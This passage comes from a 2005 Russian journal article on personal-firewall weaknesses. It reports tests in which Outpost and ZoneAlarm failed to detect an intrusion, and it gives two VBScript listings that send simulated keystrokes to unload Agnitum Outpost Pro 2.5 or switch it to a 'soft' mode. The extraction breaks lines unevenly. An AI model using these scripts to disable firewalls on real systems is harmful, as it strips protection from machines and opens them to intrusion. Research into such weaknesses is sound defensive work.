end if
Wend
Результаты натурных испытаний показали
,
чтоМЭ
(AgnitumOutpost
Pro 2.1, ZoneAlarm Pro with Web Filtering v4.5.594)
не смогли обна
-
ружить и предотвратить проникновение в систему
.
Только
Agnitum
Outpost Pro 2.5
сообщил о создании
COM
приложения
.
Для преодоления подобного механизма защитыпредлагается вы
-
грузить МЭ или выгрузить МЭ в
“
мягкий
”
режим
.
Текст программы
на
VBScript
приведен в листинге
2.
Листинг
2
Сценарий выгрузки
Outpost Pro 2.5:
set WShell = CreateObject("WScript.Shell")
WShell.Exec
"C:
\
Program Files
\
Agnitum
\
Outpost Firewall
\
outpost.exe"
WScript.Sleep 200
WShell.AppActivate "Agnitum", TRUE
WScript.Sleep 100
WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
WScript.Sleep 100
WShell.SendKeys "{ENTER}"
Сценарий переключает
Outpost Pro 2.5
в
“
мягкий
”
режим
:
set WShell = CreateObject("WScript.Shell")
WShell.Exec
"C:
\
Program Files
\
Agnitum
\
Outpost Firewall
\
outpost.exe"
WScript.Sleep 100
WShell.AppActivate "Agnitum", TRUE
WScript.Sleep 10
WShell.SendKeys "{F10}{LEFT}{LEFT}{LEFT}"
WScript.Sleep 10
WShell.SendKeys "{DOWN}{DOWN}{DOWN}{DOWN}{ENTER}"
WScript.Sleep 10
WShell.SendKeys "a{ENTER}"
WScript.Sleep 10
WShell.SendKeys "{F10}{LEFT}{DOWN}"
WScript.Sleep 10
WShell.SendKeys "n"
ISSN 0236-3933.
Вестник МГТУ им
.
Н
.
Э
.
Баумана
.
Сер
. “
Приборостроение
”. 2005.
№
3 47
